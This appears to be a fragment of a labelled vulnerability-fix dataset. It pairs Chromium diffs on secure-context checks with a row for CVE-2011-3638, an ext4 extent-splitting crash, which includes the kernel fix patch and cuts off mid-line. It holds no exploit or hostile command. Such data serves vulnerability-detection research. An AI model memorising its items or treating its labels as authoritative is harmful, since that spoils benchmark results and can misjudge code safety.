"https://github.com/chromium/chromium/raw/8353baf8d1504dbdd4ad7584ff2466de657521cd/third_party/WebKit/Source/web/WebFrame.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/web/WebFrame.cpp?ref=8353baf8d1504dbdd4ad7584ff2466de657521cd", "patch": "@@ -285,14 +285,6 @@ WebFrame* WebFrame::fromFrameOwnerElement(const WebElement& webElement)\n return fromFrame(toHTMLFrameOwnerElement(element)->contentFrame());\n }\n \n-bool WebFrame::canHaveSecureChild() const\n-{\n- Frame* frame = toImplBase()->frame();\n- if (!frame)\n- return false;\n- return frame->canHaveSecureChild();\n-}\n-\n bool WebFrame::isLoading() const\n {\n if (Frame* frame = toImplBase()->frame())"}<_**next**_>{"sha": "f0c1fdaf35c94756e80fd47753b6094af98b5cfb", "filename": "third_party/WebKit/Source/web/tests/WebFrameTest.cpp", "status": "modified", "additions": 0, "deletions": 58, "changes": 58, "blob_url": "https://github.com/chromium/chromium/blob/8353baf8d1504dbdd4ad7584ff2466de657521cd/third_party/WebKit/Source/web/tests/WebFrameTest.cpp", "raw_url": "https://github.com/chromium/chromium/raw/8353baf8d1504dbdd4ad7584ff2466de657521cd/third_party/WebKit/Source/web/tests/WebFrameTest.cpp", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/web/tests/WebFrameTest.cpp?ref=8353baf8d1504dbdd4ad7584ff2466de657521cd", "patch": "@@ -8800,62 +8800,4 @@ TEST_F(WebFrameTest, CopyImageWithImageMap)\n helper.reset(); // Explicitly reset to break dependency on locally scoped client.\n }\n \n-static void setSecurityOrigin(WebFrame* frame, PassRefPtr<SecurityOrigin> securityOrigin)\n-{\n- Document* document = frame->document();\n- document->setSecurityOrigin(securityOrigin);\n-}\n-\n-TEST_F(WebFrameTest, CanHaveSecureChild)\n-{\n- FrameTestHelpers::WebViewHelper helper;\n- FrameTestHelpers::TestWebFrameClient client;\n- helper.initialize(true, &client, nullptr, nullptr);\n- WebFrame* mainFrame = helper.webView()->mainFrame();\n- RefPtr<SecurityOrigin> secureOrigin = SecurityOrigin::createFromString(\"https://example.com\");\n- RefPtr<SecurityOrigin> insecureOrigin = SecurityOrigin::createFromString(\"http://example.com\");\n-\n- // Secure frame.\n- setSecurityOrigin(mainFrame, secureOrigin);\n- ASSERT_TRUE(mainFrame->canHaveSecureChild());\n-\n- // Insecure frame.\n- setSecurityOrigin(mainFrame, insecureOrigin);\n- ASSERT_FALSE(mainFrame->canHaveSecureChild());\n-\n- // Create a chain of frames.\n- FrameTestHelpers::loadFrame(mainFrame, \"data:text/html,<iframe></iframe>\");\n- WebFrame* childFrame = mainFrame->firstChild();\n- FrameTestHelpers::loadFrame(childFrame, \"data:text/html,<iframe></iframe>\");\n- WebFrame* grandchildFrame = childFrame->firstChild();\n-\n- // Secure -> insecure -> secure frame.\n- setSecurityOrigin(mainFrame, secureOrigin);\n- setSecurityOrigin(childFrame, insecureOrigin);\n- setSecurityOrigin(grandchildFrame, secureOrigin);\n- ASSERT_TRUE(mainFrame->canHaveSecureChild());\n- ASSERT_FALSE(childFrame->canHaveSecureChild());\n- ASSERT_FALSE(grandchildFrame->canHaveSecureChild());\n-\n- // A document in an insecure context can be considered secure if it has a\n- // scheme that bypasses the secure context check. But the exception doesn't\n- // apply to children of that document's frame.\n- SchemeRegistry::registerURLSchemeBypassingSecureContextCheck(\"very-special-scheme\");\n- SchemeRegistry::registerURLSchemeAsSecure(\"very-special-scheme\");\n- RefPtr<SecurityOrigin> specialOrigin = SecurityOrigin::createFromString(\"very-special-scheme://example.com\");\n-\n- setSecurityOrigin(mainFrame, insecureOrigin);\n- setSecurityOrigin(childFrame, specialOrigin);\n- setSecurityOrigin(grandchildFrame, secureOrigin);\n- ASSERT_FALSE(mainFrame->canHaveSecureChild());\n- ASSERT_FALSE(childFrame->canHaveSecureChild());\n- ASSERT_FALSE(grandchildFrame->canHaveSecureChild());\n- Document* mainDocument = mainFrame->document();\n- Document* childDocument = childFrame->document();\n- Document* grandchildDocument = grandchildFrame->document();\n- ASSERT_FALSE(mainDocument->isSecureContext());\n- ASSERT_TRUE(childDocument->isSecureContext());\n- ASSERT_FALSE(grandchildDocument->isSecureContext());\n-}\n-\n } // namespace blink"}<_**next**_>{"sha": "fef5c5163e50a6286d0e76b01e94156d7d024c8e", "filename": "third_party/WebKit/public/web/WebFrame.h", "status": "modified", "additions": 0, "deletions": 9, "changes": 9, "blob_url": "https://github.com/chromium/chromium/blob/8353baf8d1504dbdd4ad7584ff2466de657521cd/third_party/WebKit/public/web/WebFrame.h", "raw_url": "https://github.com/chromium/chromium/raw/8353baf8d1504dbdd4ad7584ff2466de657521cd/third_party/WebKit/public/web/WebFrame.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/public/web/WebFrame.h?ref=8353baf8d1504dbdd4ad7584ff2466de657521cd", "patch": "@@ -557,15 +557,6 @@ class WebFrame {\n // the given element is not a frame, iframe or if the frame is empty.\n BLINK_EXPORT static WebFrame* fromFrameOwnerElement(const WebElement&);\n \n- // Use WebDocument::isSecureContext() instead of this function to\n- // check whether this frame's document is a secure context.\n- //\n- // Returns whether it's possible for a document whose frame is a descendant\n- // of this frame to be a secure context, not considering scheme exceptions\n- // (since any document can be a secure context if it has a scheme\n- // exception). See Document::isSecureContextImpl for more details.\n- BLINK_EXPORT bool canHaveSecureChild() const;\n-\n #if BLINK_IMPLEMENTATION\n static WebFrame* fromFrame(Frame*);\n "}
|
void Document::hoveredNodeDetached(Element& element)
{
if (!m_hoverNode)
return;
m_hoverNode->updateDistribution();
if (element != m_hoverNode && (!m_hoverNode->isTextNode() || element != FlatTreeTraversal::parent(*m_hoverNode)))
return;
m_hoverNode = FlatTreeTraversal::parent(element);
while (m_hoverNode && !m_hoverNode->layoutObject())
m_hoverNode = FlatTreeTraversal::parent(*m_hoverNode);
if (!page()->isCursorVisible())
return;
if (frame())
frame()->eventHandler().scheduleHoverStateUpdate();
}
|
void Document::hoveredNodeDetached(Element& element)
{
if (!m_hoverNode)
return;
m_hoverNode->updateDistribution();
if (element != m_hoverNode && (!m_hoverNode->isTextNode() || element != FlatTreeTraversal::parent(*m_hoverNode)))
return;
m_hoverNode = FlatTreeTraversal::parent(element);
while (m_hoverNode && !m_hoverNode->layoutObject())
m_hoverNode = FlatTreeTraversal::parent(*m_hoverNode);
if (!page()->isCursorVisible())
return;
if (frame())
frame()->eventHandler().scheduleHoverStateUpdate();
}
|
C
| null | null | null |
@@ -3355,9 +3355,14 @@ bool Document::isSecureContextImpl(const SecureContextCheck privilegeContextChec
return true;
if (privilegeContextCheck == StandardSecureContextCheck) {
- Frame* parent = m_frame ? m_frame->tree().parent() : nullptr;
- if (parent && !parent->canHaveSecureChild())
- return false;
+ if (!m_frame)
+ return true;
+ Frame* parent = m_frame->tree().parent();
+ while (parent) {
+ if (!parent->securityContext()->getSecurityOrigin()->isPotentiallyTrustworthy())
+ return false;
+ parent = parent->tree().parent();
+ }
}
return true;
}
|
Chrome
|
8353baf8d1504dbdd4ad7584ff2466de657521cd
|
04817566fb446d8315cbc4049266c4859a010a74
| 0
|
void Document::hoveredNodeDetached(Element& element)
{
if (!m_hoverNode)
return;
m_hoverNode->updateDistribution();
if (element != m_hoverNode && (!m_hoverNode->isTextNode() || element != FlatTreeTraversal::parent(*m_hoverNode)))
return;
m_hoverNode = FlatTreeTraversal::parent(element);
while (m_hoverNode && !m_hoverNode->layoutObject())
m_hoverNode = FlatTreeTraversal::parent(*m_hoverNode);
// If the mouse cursor is not visible, do not clear existing
// hover effects on the ancestors of |element| and do not invoke
// new hover effects on any other element.
if (!page()->isCursorVisible())
return;
if (frame())
frame()->eventHandler().scheduleHoverStateUpdate();
}
|
34,767
| null |
Local
|
Not required
|
Complete
|
CVE-2011-3638
|
https://www.cvedetails.com/cve/CVE-2011-3638/
| null |
High
| null | null | null |
2013-03-01
| 4
|
fs/ext4/extents.c in the Linux kernel before 3.0 does not mark a modified extent as dirty in certain cases of extent splitting, which allows local users to cause a denial of service (system crash) via vectors involving ext4 umount and mount operations.
|
2013-03-04
|
DoS
| 0
|
https://github.com/torvalds/linux/commit/667eff35a1f56fa74ce98a0c7c29a40adc1ba4e3
|
667eff35a1f56fa74ce98a0c7c29a40adc1ba4e3
|
ext4: reimplement convert and split_unwritten
Reimplement ext4_ext_convert_to_initialized() and
ext4_split_unwritten_extents() using ext4_split_extent()
Signed-off-by: Yongqiang Yang <xiaoqiangnk@gmail.com>
Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
Tested-by: Allison Henderson <achender@linux.vnet.ibm.com>
| 0
|
fs/ext4/extents.c
|
{"sha": "e363f21b091bcbac17b84a3bbdee6a6d5d20d65d", "filename": "fs/ext4/extents.c", "status": "modified", "additions": 72, "deletions": 408, "changes": 480, "blob_url": "https://github.com/torvalds/linux/blob/667eff35a1f56fa74ce98a0c7c29a40adc1ba4e3/fs/ext4/extents.c", "raw_url": "https://github.com/torvalds/linux/raw/667eff35a1f56fa74ce98a0c7c29a40adc1ba4e3/fs/ext4/extents.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/fs/ext4/extents.c?ref=667eff35a1f56fa74ce98a0c7c29a40adc1ba4e3", "patch": "@@ -2757,17 +2757,13 @@ static int ext4_ext_convert_to_initialized(handle_t *handle,\n \t\t\t\t\t struct ext4_map_blocks *map,\n \t\t\t\t\t struct ext4_ext_path *path)\n {\n-\tstruct ext4_extent *ex, newex, orig_ex;\n-\tstruct ext4_extent *ex1 = NULL;\n-\tstruct ext4_extent *ex2 = NULL;\n-\tstruct ext4_extent *ex3 = NULL;\n-\tstruct ext4_extent_header *eh;\n+\tstruct ext4_map_blocks split_map;\n+\tstruct ext4_extent zero_ex;\n+\tstruct ext4_extent *ex;\n \text4_lblk_t ee_block, eof_block;\n \tunsigned int allocated, ee_len, depth;\n-\text4_fsblk_t newblock;\n \tint err = 0;\n-\tint ret = 0;\n-\tint may_zeroout;\n+\tint split_flag = 0;\n \n \text_debug(\"ext4_ext_convert_to_initialized: inode %lu, logical\"\n \t\t\"block %llu, max_blocks %u\\n\", inode->i_ino,\n@@ -2779,280 +2775,87 @@ static int ext4_ext_convert_to_initialized(handle_t *handle,\n \t\teof_block = map->m_lblk + map->m_len;\n \n \tdepth = ext_depth(inode);\n-\teh = path[depth].p_hdr;\n \tex = path[depth].p_ext;\n \tee_block = le32_to_cpu(ex->ee_block);\n \tee_len = ext4_ext_get_actual_len(ex);\n \tallocated = ee_len - (map->m_lblk - ee_block);\n-\tnewblock = map->m_lblk - ee_block + ext4_ext_pblock(ex);\n-\n-\tex2 = ex;\n-\torig_ex.ee_block = ex->ee_block;\n-\torig_ex.ee_len = cpu_to_le16(ee_len);\n-\text4_ext_store_pblock(&orig_ex, ext4_ext_pblock(ex));\n \n+\tWARN_ON(map->m_lblk < ee_block);\n \t/*\n \t * It is safe to convert extent to initialized via explicit\n \t * zeroout only if extent is fully insde i_size or new_size.\n \t */\n-\tmay_zeroout = ee_block + ee_len <= eof_block;\n+\tsplit_flag |= ee_block + ee_len <= eof_block ? EXT4_EXT_MAY_ZEROOUT : 0;\n \n-\terr = ext4_ext_get_access(handle, inode, path + depth);\n-\tif (err)\n-\t\tgoto out;\n \t/* If extent has less than 2*EXT4_EXT_ZERO_LEN zerout directly */\n-\tif (ee_len <= 2*EXT4_EXT_ZERO_LEN && may_zeroout) {\n-\t\terr = ext4_ext_zeroout(inode, &orig_ex);\n+\tif (ee_len <= 2*EXT4_EXT_ZERO_LEN &&\n+\t (EXT4_EXT_MAY_ZEROOUT & split_flag)) {\n+\t\terr = ext4_ext_zeroout(inode, ex);\n \t\tif (err)\n-\t\t\tgoto fix_extent_len;\n-\t\t/* update the extent length and mark as initialized */\n-\t\tex->ee_block = orig_ex.ee_block;\n-\t\tex->ee_len = orig_ex.ee_len;\n-\t\text4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));\n-\t\text4_ext_dirty(handle, inode, path + depth);\n-\t\t/* zeroed the full extent */\n-\t\treturn allocated;\n-\t}\n-\n-\t/* ex1: ee_block to map->m_lblk - 1 : uninitialized */\n-\tif (map->m_lblk > ee_block) {\n-\t\tex1 = ex;\n-\t\tex1->ee_len = cpu_to_le16(map->m_lblk - ee_block);\n-\t\text4_ext_mark_uninitialized(ex1);\n-\t\tex2 = &newex;\n-\t}\n-\t/*\n-\t * for sanity, update the length of the ex2 extent before\n-\t * we insert ex3, if ex1 is NULL. This is to avoid temporary\n-\t * overlap of blocks.\n-\t */\n-\tif (!ex1 && allocated > map->m_len)\n-\t\tex2->ee_len = cpu_to_le16(map->m_len);\n-\t/* ex3: to ee_block + ee_len : uninitialised */\n-\tif (allocated > map->m_len) {\n-\t\tunsigned int newdepth;\n-\t\t/* If extent has less than EXT4_EXT_ZERO_LEN zerout directly */\n-\t\tif (allocated <= EXT4_EXT_ZERO_LEN && may_zeroout) {\n-\t\t\t/*\n-\t\t\t * map->m_lblk == ee_block is handled by the zerouout\n-\t\t\t * at the beginning.\n-\t\t\t * Mark first half uninitialized.\n-\t\t\t * Mark second half initialized and zero out the\n-\t\t\t * initialized extent\n-\t\t\t */\n-\t\t\tex->ee_block = orig_ex.ee_block;\n-\t\t\tex->ee_len = cpu_to_le16(ee_len - allocated);\n-\t\t\text4_ext_mark_uninitialized(ex);\n-\t\t\text4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));\n-\t\t\text4_ext_dirty(handle, inode, path + depth);\n-\n-\t\t\tex3 = &newex;\n-\t\t\tex3->ee_block = cpu_to_le32(map->m_lblk);\n-\t\t\text4_ext_store_pblock(ex3, newblock);\n-\t\t\tex3->ee_len = cpu_to_le16(allocated);\n-\t\t\terr = ext4_ext_insert_extent(handle, inode, path,\n-\t\t\t\t\t\t\tex3, 0);\n-\t\t\tif (err == -ENOSPC) {\n-\t\t\t\terr = ext4_ext_zeroout(inode, &orig_ex);\n-\t\t\t\tif (err)\n-\t\t\t\t\tgoto fix_extent_len;\n-\t\t\t\tex->ee_block = orig_ex.ee_block;\n-\t\t\t\tex->ee_len = orig_ex.ee_len;\n-\t\t\t\text4_ext_store_pblock(ex,\n-\t\t\t\t\text4_ext_pblock(&orig_ex));\n-\t\t\t\text4_ext_dirty(handle, inode, path + depth);\n-\t\t\t\t/* blocks available from map->m_lblk */\n-\t\t\t\treturn allocated;\n-\n-\t\t\t} else if (err)\n-\t\t\t\tgoto fix_extent_len;\n-\n-\t\t\t/*\n-\t\t\t * We need to zero out the second half because\n-\t\t\t * an fallocate request can update file size and\n-\t\t\t * converting the second half to initialized extent\n-\t\t\t * implies that we can leak some junk data to user\n-\t\t\t * space.\n-\t\t\t */\n-\t\t\terr = ext4_ext_zeroout(inode, ex3);\n-\t\t\tif (err) {\n-\t\t\t\t/*\n-\t\t\t\t * We should actually mark the\n-\t\t\t\t * second half as uninit and return error\n-\t\t\t\t * Insert would have changed the extent\n-\t\t\t\t */\n-\t\t\t\tdepth = ext_depth(inode);\n-\t\t\t\text4_ext_drop_refs(path);\n-\t\t\t\tpath = ext4_ext_find_extent(inode, map->m_lblk,\n-\t\t\t\t\t\t\t path);\n-\t\t\t\tif (IS_ERR(path)) {\n-\t\t\t\t\terr = PTR_ERR(path);\n-\t\t\t\t\treturn err;\n-\t\t\t\t}\n-\t\t\t\t/* get the second half extent details */\n-\t\t\t\tex = path[depth].p_ext;\n-\t\t\t\terr = ext4_ext_get_access(handle, inode,\n-\t\t\t\t\t\t\t\tpath + depth);\n-\t\t\t\tif (err)\n-\t\t\t\t\treturn err;\n-\t\t\t\text4_ext_mark_uninitialized(ex);\n-\t\t\t\text4_ext_dirty(handle, inode, path + depth);\n-\t\t\t\treturn err;\n-\t\t\t}\n-\n-\t\t\t/* zeroed the second half */\n-\t\t\treturn allocated;\n-\t\t}\n-\t\tex3 = &newex;\n-\t\tex3->ee_block = cpu_to_le32(map->m_lblk + map->m_len);\n-\t\text4_ext_store_pblock(ex3, newblock + map->m_len);\n-\t\tex3->ee_len = cpu_to_le16(allocated - map->m_len);\n-\t\text4_ext_mark_uninitialized(ex3);\n-\t\terr = ext4_ext_insert_extent(handle, inode, path, ex3, 0);\n-\t\tif (err == -ENOSPC && may_zeroout) {\n-\t\t\terr = ext4_ext_zeroout(inode, &orig_ex);\n-\t\t\tif (err)\n-\t\t\t\tgoto fix_extent_len;\n-\t\t\t/* update the extent length and mark as initialized */\n-\t\t\tex->ee_block = orig_ex.ee_block;\n-\t\t\tex->ee_len = orig_ex.ee_len;\n-\t\t\text4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));\n-\t\t\text4_ext_dirty(handle, inode, path + depth);\n-\t\t\t/* zeroed the full extent */\n-\t\t\t/* blocks available from map->m_lblk */\n-\t\t\treturn allocated;\n-\n-\t\t} else if (err)\n-\t\t\tgoto fix_extent_len;\n-\t\t/*\n-\t\t * The depth, and hence eh & ex might change\n-\t\t * as part of the insert above.\n-\t\t */\n-\t\tnewdepth = ext_depth(inode);\n-\t\t/*\n-\t\t * update the extent length after successful insert of the\n-\t\t * split extent\n-\t\t */\n-\t\tee_len -= ext4_ext_get_actual_len(ex3);\n-\t\torig_ex.ee_len = cpu_to_le16(ee_len);\n-\t\tmay_zeroout = ee_block + ee_len <= eof_block;\n-\n-\t\tdepth = newdepth;\n-\t\text4_ext_drop_refs(path);\n-\t\tpath = ext4_ext_find_extent(inode, map->m_lblk, path);\n-\t\tif (IS_ERR(path)) {\n-\t\t\terr = PTR_ERR(path);\n \t\t\tgoto out;\n-\t\t}\n-\t\teh = path[depth].p_hdr;\n-\t\tex = path[depth].p_ext;\n-\t\tif (ex2 != &newex)\n-\t\t\tex2 = ex;\n \n \t\terr = ext4_ext_get_access(handle, inode, path + depth);\n \t\tif (err)\n \t\t\tgoto out;\n-\n-\t\tallocated = map->m_len;\n-\n-\t\t/* If extent has less than EXT4_EXT_ZERO_LEN and we are trying\n-\t\t * to insert a extent in the middle zerout directly\n-\t\t * otherwise give the extent a chance to merge to left\n-\t\t */\n-\t\tif (le16_to_cpu(orig_ex.ee_len) <= EXT4_EXT_ZERO_LEN &&\n-\t\t\tmap->m_lblk != ee_block && may_zeroout) {\n-\t\t\terr = ext4_ext_zeroout(inode, &orig_ex);\n-\t\t\tif (err)\n-\t\t\t\tgoto fix_extent_len;\n-\t\t\t/* update the extent length and mark as initialized */\n-\t\t\tex->ee_block = orig_ex.ee_block;\n-\t\t\tex->ee_len = orig_ex.ee_len;\n-\t\t\text4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));\n-\t\t\text4_ext_dirty(handle, inode, path + depth);\n-\t\t\t/* zero out the first half */\n-\t\t\t/* blocks available from map->m_lblk */\n-\t\t\treturn allocated;\n-\t\t}\n-\t}\n-\t/*\n-\t * If there was a change of depth as part of the\n-\t * insertion of ex3 above, we need to update the length\n-\t * of the ex1 extent again here\n-\t */\n-\tif (ex1 && ex1 != ex) {\n-\t\tex1 = ex;\n-\t\tex1->ee_len = cpu_to_le16(map->m_lblk - ee_block);\n-\t\text4_ext_mark_uninitialized(ex1);\n-\t\tex2 = &newex;\n-\t}\n-\t/* ex2: map->m_lblk to map->m_lblk + maxblocks-1 : initialised */\n-\tex2->ee_block = cpu_to_le32(map->m_lblk);\n-\text4_ext_store_pblock(ex2, newblock);\n-\tex2->ee_len = cpu_to_le16(allocated);\n-\tif (ex2 != ex)\n-\t\tgoto insert;\n-\t/*\n-\t * New (initialized) extent starts from the first block\n-\t * in the current extent. i.e., ex2 == ex\n-\t * We have to see if it can be merged with the extent\n-\t * on the left.\n-\t */\n-\tif (ex2 > EXT_FIRST_EXTENT(eh)) {\n-\t\t/*\n-\t\t * To merge left, pass \"ex2 - 1\" to try_to_merge(),\n-\t\t * since it merges towards right _only_.\n-\t\t */\n-\t\tret = ext4_ext_try_to_merge(inode, path, ex2 - 1);\n-\t\tif (ret) {\n-\t\t\terr = ext4_ext_correct_indexes(handle, inode, path);\n-\t\t\tif (err)\n-\t\t\t\tgoto out;\n-\t\t\tdepth = ext_depth(inode);\n-\t\t\tex2--;\n-\t\t}\n+\t\text4_ext_mark_initialized(ex);\n+\t\text4_ext_try_to_merge(inode, path, ex);\n+\t\terr = ext4_ext_dirty(handle, inode, path + depth);\n+\t\tgoto out;\n \t}\n+\n \t/*\n-\t * Try to Merge towards right. This might be required\n-\t * only when the whole extent is being written to.\n-\t * i.e. ex2 == ex and ex3 == NULL.\n+\t * four cases:\n+\t * 1. split the extent into three extents.\n+\t * 2. split the extent into two extents, zeroout the first half.\n+\t * 3. split the extent into two extents, zeroout the second half.\n+\t * 4. split the extent into two extents with out zeroout.\n \t */\n-\tif (!ex3) {\n-\t\tret = ext4_ext_try_to_merge(inode, path, ex2);\n-\t\tif (ret) {\n-\t\t\terr = ext4_ext_correct_indexes(handle, inode, path);\n+\tsplit_map.m_lblk = map->m_lblk;\n+\tsplit_map.m_len = map->m_len;\n+\n+\tif (allocated > map->m_len) {\n+\t\tif (allocated <= EXT4_EXT_ZERO_LEN &&\n+\t\t (EXT4_EXT_MAY_ZEROOUT & split_flag)) {\n+\t\t\t/* case 3 */\n+\t\t\tzero_ex.ee_block =\n+\t\t\t\t\t cpu_to_le32(map->m_lblk + map->m_len);\n+\t\t\tzero_ex.ee_len = cpu_to_le16(allocated - map->m_len);\n+\t\t\text4_ext_store_pblock(&zero_ex,\n+\t\t\t\text4_ext_pblock(ex) + map->m_lblk - ee_block);\n+\t\t\terr = ext4_ext_zeroout(inode, &zero_ex);\n \t\t\tif (err)\n \t\t\t\tgoto out;\n+\t\t\tsplit_map.m_lblk = map->m_lblk;\n+\t\t\tsplit_map.m_len = allocated;\n+\t\t} else if ((map->m_lblk - ee_block + map->m_len <\n+\t\t\t EXT4_EXT_ZERO_LEN) &&\n+\t\t\t (EXT4_EXT_MAY_ZEROOUT & split_flag)) {\n+\t\t\t/* case 2 */\n+\t\t\tif (map->m_lblk != ee_block) {\n+\t\t\t\tzero_ex.ee_block = ex->ee_block;\n+\t\t\t\tzero_ex.ee_len = cpu_to_le16(map->m_lblk -\n+\t\t\t\t\t\t\tee_block);\n+\t\t\t\text4_ext_store_pblock(&zero_ex,\n+\t\t\t\t\t\t ext4_ext_pblock(ex));\n+\t\t\t\terr = ext4_ext_zeroout(inode, &zero_ex);\n+\t\t\t\tif (err)\n+\t\t\t\t\tgoto out;\n+\t\t\t}\n+\n+\t\t\tallocated = map->m_lblk - ee_block + map->m_len;\n+\n+\t\t\tsplit_map.m_lblk = ee_block;\n+\t\t\tsplit_map.m_len = allocated;\n \t\t}\n \t}\n-\t/* Mark modified extent as dirty */\n-\terr = ext4_ext_dirty(handle, inode, path + depth);\n-\tgoto out;\n-insert:\n-\terr = ext4_ext_insert_extent(handle, inode, path, &newex, 0);\n-\tif (err == -ENOSPC && may_zeroout) {\n-\t\terr = ext4_ext_zeroout(inode, &orig_ex);\n-\t\tif (err)\n-\t\t\tgoto fix_extent_len;\n-\t\t/* update the extent length and mark as initialized */\n-\t\tex->ee_block = orig_ex.ee_block;\n-\t\tex->ee_len = orig_ex.ee_len;\n-\t\text4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));\n-\t\text4_ext_dirty(handle, inode, path + depth);\n-\t\t/* zero out the first half */\n-\t\treturn allocated;\n-\t} else if (err)\n-\t\tgoto fix_extent_len;\n+\n+\tallocated = ext4_split_extent(handle, inode, path,\n+\t\t\t\t &split_map, split_flag, 0);\n+\tif (allocated < 0)\n+\t\terr = allocated;\n+\n out:\n-\text4_ext_show_leaf(inode, path);\n \treturn err ? err : allocated;\n-\n-fix_extent_len:\n-\tex->ee_block = orig_ex.ee_block;\n-\tex->ee_len = orig_ex.ee_len;\n-\text4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));\n-\text4_ext_mark_uninitialized(ex);\n-\text4_ext_dirty(handle, inode, path + depth);\n-\treturn err;\n }\n \n /*\n@@ -3083,15 +2886,11 @@ static int ext4_split_unwritten_extents(handle_t *handle,\n \t\t\t\t\tstruct ext4_ext_path *path,\n \t\t\t\t\tint flags)\n {\n-\tstruct ext4_extent *ex, newex, orig_ex;\n-\tstruct ext4_extent *ex1 = NULL;\n-\tstruct ext4_extent *ex2 = NULL;\n-\tstruct ext4_extent *ex3 = NULL;\n-\text4_lblk_t ee_block, eof_block;\n-\tunsigned int allocated, ee_len, depth;\n-\text4_fsblk_t newblock;\n-\tint err = 0;\n-\tint may_zeroout;\n+\text4_lblk_t eof_block;\n+\text4_lblk_t ee_block;\n+\tstruct ext4_extent *ex;\n+\tunsigned int ee_len;\n+\tint split_flag = 0, depth;\n \n \text_debug(\"ext4_split_unwritten_extents: inode %lu, logical\"\n \t\t\"block %llu, max_blocks %u\\n\", inode->i_ino,\n@@ -3101,155 +2900,20 @@ static int ext4_split_unwritten_extents(handle_t *handle,\n \t\tinode->i_sb->s_blocksize_bits;\n \tif (eof_block < map->m_lblk + map->m_len)\n \t\teof_block = map->m_lblk + map->m_len;\n-\n-\tdepth = ext_depth(inode);\n-\tex = path[depth].p_ext;\n-\tee_block = le32_to_cpu(ex->ee_block);\n-\tee_len = ext4_ext_get_actual_len(ex);\n-\tallocated = ee_len - (map->m_lblk - ee_block);\n-\tnewblock = map->m_lblk - ee_block + ext4_ext_pblock(ex);\n-\n-\tex2 = ex;\n-\torig_ex.ee_block = ex->ee_block;\n-\torig_ex.ee_len = cpu_to_le16(ee_len);\n-\text4_ext_store_pblock(&orig_ex, ext4_ext_pblock(ex));\n-\n \t/*\n \t * It is safe to convert extent to initialized via explicit\n \t * zeroout only if extent is fully insde i_size or new_size.\n \t */\n-\tmay_zeroout = ee_block + ee_len <= eof_block;\n-\n-\t/*\n- \t * If the uninitialized extent begins at the same logical\n- \t * block where the write begins, and the write completely\n- \t * covers the extent, then we don't need to split it.\n- \t */\n-\tif ((map->m_lblk == ee_block) && (allocated <= map->m_len))\n-\t\treturn allocated;\n-\n-\terr = ext4_ext_get_access(handle, inode, path + depth);\n-\tif (err)\n-\t\tgoto out;\n-\t/* ex1: ee_block to map->m_lblk - 1 : uninitialized */\n-\tif (map->m_lblk > ee_block) {\n-\t\tex1 = ex;\n-\t\tex1->ee_len = cpu_to_le16(map->m_lblk - ee_block);\n-\t\text4_ext_mark_uninitialized(ex1);\n-\t\tex2 = &newex;\n-\t}\n-\t/*\n-\t * for sanity, update the length of the ex2 extent before\n-\t * we insert ex3, if ex1 is NULL. This is to avoid temporary\n-\t * overlap of blocks.\n-\t */\n-\tif (!ex1 && allocated > map->m_len)\n-\t\tex2->ee_len = cpu_to_le16(map->m_len);\n-\t/* ex3: to ee_block + ee_len : uninitialised */\n-\tif (allocated > map->m_len) {\n-\t\tunsigned int newdepth;\n-\t\tex3 = &newex;\n-\t\tex3->ee_block = cpu_to_le32(map->m_lblk + map->m_len);\n-\t\text4_ext_store_pblock(ex3, newblock + map->m_len);\n-\t\tex3->ee_len = cpu_to_le16(allocated - map->m_len);\n-\t\text4_ext_mark_uninitialized(ex3);\n-\t\terr = ext4_ext_insert_extent(handle, inode, path, ex3, flags);\n-\t\tif (err == -ENOSPC && may_zeroout) {\n-\t\t\terr = ext4_ext_zeroout(inode, &orig_ex);\n-\t\t\tif (err)\n-\t\t\t\tgoto fix_extent_len;\n-\t\t\t/* update the extent length and mark as initialized */\n-\t\t\tex->ee_block = orig_ex.ee_block;\n-\t\t\tex->ee_len = orig_ex.ee_len;\n-\t\t\text4_ext_store_pblock(ex, ext4_ext_pblock(&orig_ex));\n-\t\t\text4_ext_dirty(handle, inode, path + depth);\n-\t\t\t/* zeroed the full extent */\n-\t\t\t/* blocks available from map->m_lblk */\n-\t\t\treturn allocated;\n-\n-\t\t} else if (err)\n-\t\t\tgoto fix_extent_len;\n-\t\t/*\n-\t\t * The depth, and hence eh & ex might change\n-\t\t * as part of the insert above.\n-\t\t */\n-\t\tnewdepth = ext_depth(inode);\n-\t\t/*\n-\t\t * update the extent length after successful insert of the\n-\t\t * split extent\n-\t\t */\n-\t\tee_len -= ext4_ext_get_actual_len(ex3);\n-\t\torig_ex.ee_len = cpu_to_le16(ee_len);\n-\t\tmay_zeroout = ee_block + ee_len <= eof_block;\n-\n-\t\tdepth = newdepth;\n-\t\text4_ext_drop_refs(path);\n-\t\tpath = ext4_ext_find_extent(inode, map->m_lblk, path);\n-\t\tif (IS_ERR(path)) {\n-\t\t\terr = PTR_ERR(path);\n-\t\t\tgoto out;\n-\t\t}\n-\t\tex = path[depth].p_ext;\n-\t\tif (ex2 != &newex)\n-\t\t\tex2 = ex;\n+\tdepth = ext_depth(inode);\n+\tex = path[depth].p_ext;\n+\tee_block = le32_to_cpu(ex->ee_block);\n+\tee_len = ext4_ext_get_actual_len(ex);\n \n-\t\terr = ext4_ext_get_access(handle, inode, path + depth);\n-\t\tif (err)\n-\t\t\tgoto out;\n+\tsplit_flag |= ee_block + ee_len <= eof_block ? EXT4_EXT_MAY_ZEROOUT : 0;\n+\tsplit_flag |= EXT4_EXT_MARK_UNINIT2;\n \n-\t\tallocated = map->m_len;\n-\t}\n-\t/*\n-\t * If there was a change of depth as part of the\n-\t * insertion of ex3 above, we need to update the length\n-\t * of the ex1 extent again here\n-\t */\n-\tif (ex1 && ex1 != ex) {\n-\t\tex1 = ex;\n-\t\tex1->ee_len = cpu_to_le16(map->m_lblk - ee_block);\n-\t\text4_ext_mark_uninitialized(ex1);\n-\t\tex2 = &newex;\n-\t}\n-\t/*\n-\t * ex2: map->m_lblk to map->m_lblk + map->m_len-1 : to be written\n-\t * using direct I/O, uninitialised still.\n-\t */\n-\tex2->ee_block = 